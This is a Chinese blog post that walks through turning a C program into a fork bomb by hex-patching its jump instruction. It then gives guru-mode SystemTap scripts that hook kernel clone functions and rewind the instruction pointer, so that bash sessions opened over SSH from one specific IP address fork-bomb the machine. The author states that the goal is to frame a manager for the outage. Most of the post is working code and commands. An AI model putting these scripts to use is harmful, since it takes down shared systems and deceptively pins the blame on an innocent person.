恕我不再赘述bash实现的fork炸弹。
我们看看把一个内部调用了fork的平常的程序制作成一枚fork炸弹是多么的简单。先看代码:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
if (fork() == 0) {
printf("I am child\n");
exit(0);
}
printf("I am parent\n");
return 0;
}
编译:
[root@localhost test]# gcc -O0 fbomb.c -o fbomb
导出并查看fork调用的指令:
[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork
4005ad: 55 push %rbp
4005ae: 48 89 e5 mov %rsp,%rbp
4005b1: 48 83 ec 10 sub $0x10,%rsp
4005b5: 89 7d fc mov %edi,-0x4(%rbp)
4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)
4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>
4005c1: 85 c0 test %eax,%eax
4005c3: 75 14 jne 4005d9 <main+0x2c>
4005c5: bf 80 06 40 00 mov $0x400680,%edi
4005ca: e8 a1 fe ff ff callq 400470 <puts@plt>
4005cf: bf 00 00 00 00 mov $0x0,%edi
注意到4005bc指向的call下面是fork调用的惯用范式,即判断是0还是非0,于是我们的改法非常简单:
- 将4005c3改成JC(0x72) rel8(s8 offset):0x72 0xf7(即-9)
其实如今很少有C库会直接调用fork系统调用了,一般使用的都是clone。
那么下面就是改法:
# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd
根据objdump的结果找到地址0005bc附近:
000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf
将其改成:
000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf
保存:
...
./fbomb [+]
:%!xxd -r
确认一下,看看修改有没有成功:
[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork
4005b1: 48 83 ec 10 sub $0x10,%rsp
4005b5: 89 7d fc mov %edi,-0x4(%rbp)
4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)
4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>
4005c1: 85 c0 test %eax,%eax
4005c3: 72 f7 jb 4005bc <main+0xf>
4005c5: bf 80 06 40 00 mov $0x400680,%edi
OK,修改成功,程序已经成了fork炸弹。这里就不演示了,这玩意儿没法演示。
让我们接着说。
能不能对bash动手呢?当然可以!
[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork
4415ea: 44 89 f7 mov %r14d,%edi
4415ed: e8 5e a4 fd ff callq 41ba50 <sleep@plt>
4415f2: 85 c0 test %eax,%eax
4415f4: 0f 85 06 01 00 00 jne 441700 <make_child@@Base+0x1f0>
4415fa: 45 01 f6 add %r14d,%r14d
4415fd: e8 7e a4 fd ff callq 41ba80 <fork@plt>
441602: 85 c0 test %eax,%eax
441604: 89 c3 mov %eax,%ebx
441606: 78 b8 js 4415c0 <make_child@@Base+0xb0>
441608: 0f 85 2b 01 00 00 jne 441739 <make_child@@Base+0x229>
44160e: 66 90 xchg %ax,%ax
差不多一样的套路。但是我们不能直接把bash改了啊,因此只能动用systemtap,在内核里捣鼓一些策略了。
bash并不会直接调用fork/clone,而是通过C库进行的,因此我们看下C库是怎么做的:
[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...
下面是关于clone调用的发起步骤:
284431 00000000000fde40 <__clone>:
284432 fde40: 48 c7 c0 ea ff ff ff mov $0xffffffffffffffea,%rax
284433 fde47: 48 85 ff test %rdi,%rdi
284434 fde4a: 74 69 je fdeb5 <__clone+0x75>
284435 fde4c: 48 85 f6 test %rsi,%rsi
284436 fde4f: 74 64 je fdeb5 <__clone+0x75>
284437 fde51: 48 83 ee 10 sub $0x10,%rsi
284438 fde55: 48 89 4e 08 mov %rcx,0x8(%rsi)
284439 fde59: 48 89 3e mov %rdi,(%rsi)
284440 fde5c: 48 89 d7 mov %rdx,%rdi
284441 fde5f: 4c 89 c2 mov %r8,%rdx
284442 fde62: 4d 89 c8 mov %r9,%r8
284443 fde65: 4c 8b 54 24 08 mov 0x8(%rsp),%r10
284444 fde6a: b8 38 00 00 00 mov $0x38,%eax
284445 fde6f: 0f 05 syscall
我们已经知道要怎么做了:
- 在clone系统调用返回前,将父子进程的rip修改为clone系统调用本身就是了,也就是rip地址倒退12字节或者28字节,达到clone调用准备参数的起点位置。
OK,下面是stap脚本:
#!/usr/local/bin/stap -g
function do_it(p:long)
%{
struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
struct pt_regs *regs;
if (strcmp(tsk->comm, "fbomb"))
return;
regs = task_pt_regs(tsk);
regs->ip -= 12;
%}
// hook 资进程
probe kernel.function("copy_thread").return
{
do_it(@entry($p))
}
// hook 当前父进程
probe kernel.function("sys_clone").return
{
if ($return > 0)
do_it(task_current())
}
OK,基本框架已经完事。可以那我最初的fbomb二进制程序试一下。
现在,让我们加点策略:
- 只有来自192.168.56.101这个经理的机器ssh到的bash,执行bash程序时才会bomb。这样就可以嫁祸于经理了!
还记得之前我写的TCP连接和进程之间的关联机制吗?
https://blog.csdn.net/dog250/article/details/108134813
基于它我们就可以判断是不是经理在执行bash了。
下面是代码:
#!/usr/local/bin/stap -g
%{
#include <net/tcp.h>
#include <linux/fdtable.h>
static inline void ip2str(char *to, unsigned int from)
{
int size = snprintf(to, 16, "%pI4", &from);
to[size] = '\0';
}
%}
function do_it(p:long)
%{
struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
struct task_struct *parent;
struct file *file;
struct socket *sock;
struct sock *sk;
char raddr[16];
struct pt_regs *regs;
if (strcmp(tsk->comm, "bash"))
return;
parent = tsk->parent;
if (strcmp(parent->comm, "sshd"))
return;
file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!
sock = (struct socket *)file->private_data;
sk = sock->sk;
ip2str(raddr, inet_sk(sk)->inet_daddr);
if (strcmp(raddr, "192.168.56.101"))
return;
regs = task_pt_regs(tsk);
regs->ip -= 12;
%}
probe kernel.function("copy_thread").return
{
do_it(@entry($p))
}
probe kernel.function("sys_clone").return
{
if ($return > 0)
do_it(task_current())
}
下面是经理机器上bash的效果:
[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
嗯,是的,就是经理。
又有人说我是因为有root才能这样的,我说大部分人给了root也做不到,不信你去考验一下。
本来就是闹着玩。
浙江温州皮鞋湿,下雨进水不会胖。